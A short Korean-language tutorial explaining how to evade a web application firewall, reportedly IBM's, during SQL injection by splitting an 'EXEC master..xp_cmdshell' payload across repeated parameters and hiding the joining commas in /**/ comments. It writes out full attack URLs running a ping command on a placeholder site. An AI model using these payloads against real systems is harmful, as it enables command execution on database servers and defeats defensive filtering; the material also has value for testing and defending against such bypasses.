SQL injection 탐지 우회방법
IBM Web Application Firewall(WAF)우회 방법으로 소개 되었다.
/**/주석을 이용한 우회 방법으로 다중 파라미터를 이용한 새로운 아이디어로 공격 구문을 생성한다.
공격자가 공격을 할경우 파라미터 한 개에 모두 입력하여 공격하는 경우가 많다.
이렇게 될경우 WAF에서는 대부분 탐지 될 것이고 이를 우회 하기 위한 방법으로 다중 파라미터와 주석을 이용한 방법을
소개한다.
일반적인 한개의 파라미터에 SQL-Injection 공격 구문
http://sitename/find_ta_def.aspx?id=2571&iid='; EXEC
master..xp_cmdshell &iid= "ping 10.1.1.3" -- 을
이용할 경우 SQL query는'; EXEC master..xp_cmdshell &iid= "ping 10.1.1.3" --가
되며 탐지되어 Block되지 않는다면 정상적인 공격이 될것이다.
하지만 대부분 웹방화벽은 탐지하고 차단할 것이다.
우회방법으로 다중 파라미터를 이용하는 공격 구문은
http://sitename/find_ta_def.aspx?id=2571&iid='; EXEC
master..xp_cmdshell &iid= "ping 10.1.1.3" --
이러한 방법으로 여러개의 파라미터를 이용하여 우회 시도를 할 수 있다. 하지만 위의 공격 구문은
'; EXEC master..xp_cmdshell , "ping 10.1.1.3" -- 로 Qurey 사이에 ","가 들어가서
정상적으로 SQL Query가 실행되지 않는다.
또한 한 파라미터에 EXEC xp_cmdshell이 같이 들어갈 경우 탐지 되는 경우도 많이 있기 때문에 분리해 주어야
한다.
다중 파라미터와 주석을 이용한 탐지 시스템 우회 방법은
http://sitename/find_ta_def.aspx?id=2571&iid='; /*&iid=1*/ EXEC
/*&iid=1*/ master..xp_cmdshell /*&iid=1*/ "ping 10.1.1.3" /*&iid=1*/
--
와 같은 공격 구문을 이용하면 우회 할 수 있다.
위 공격 구문은 '; /*,1*/ EXEC /*,1*/ master..xp_cmdshell /*,1*/ "ping 10.1.1.3"
/*,1*/ --가 될 것이다.
이렇게 될경우 /**/사이는 주석으로 인식되어 한 파라미터 EXEC xp_cmdshell 탐지 시그니처와 ","문제를 동시에
해결하여
EXEC master..xp_cmdshell "ping 10.1.1.3" --공격 Query를 실행할 수 있게 된다.
또한 /**/를 사용하여 공격을 하경우 입력된 파라미터의 공백을 제거하는 trim함수 또한 우회하여 공격 구문을 실행 시킬 수
있다.